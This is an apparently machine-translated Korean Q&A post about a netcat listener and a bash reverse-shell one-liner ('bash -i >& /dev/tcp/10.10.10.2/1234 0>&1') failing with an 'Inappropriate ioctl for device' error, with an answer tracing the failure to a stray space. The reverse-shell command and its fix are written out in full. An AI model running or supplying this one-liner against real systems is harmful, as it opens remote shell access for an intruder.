netcat 오류: 장치에 부적절한 ioctl

netcat 오류: 장치에 부적절한 ioctl

bash oneliner와 netcat 리스너를 사용하여 "역방향 쉘"을 만들려고 합니다. 이 조합은 며칠 전에는 잘 작동했지만 이제는 연결할 때만 오류가 발생합니다. 이 오류의 의미와 문제 해결 방법을 아는 사람이 있습니까?

네트워크 고양이 모니터

netcat -lvnp 1234

쿵쿵 스크립트:

bash -i >& /dev/tcp/10.10.10.2/1234 0>&1

실수(bash 스크립트를 실행할 때)

bash: cannot set terminal process group (21268): Inappropriate ioctl for device
bash: no job control in this shell
bash: 0: No such file or directory

이것이 이 문제를 해결하기 위한 올바른 스택 교환인지 확실하지 않습니다. 자유롭게 이동하십시오.

답변1

귀하의 게시물에서 bash 스크립트는 다음과 같습니다.

bash -i >& /dev/tcp/10.10.10.2/1234 0>&1

내 생각엔 실제로 컴퓨터에서 다음과 같이 보이는 것 같습니다.

bash -i >& /dev/tcp/10.10.10.2/1234 0 >&1

0 뒤의 공백에 유의하십시오. 찾아서 제거하면 다시 작동합니다. 나는 그것이 어떻게 거기에 도달했는지 말할 수 없습니다.

관련 정보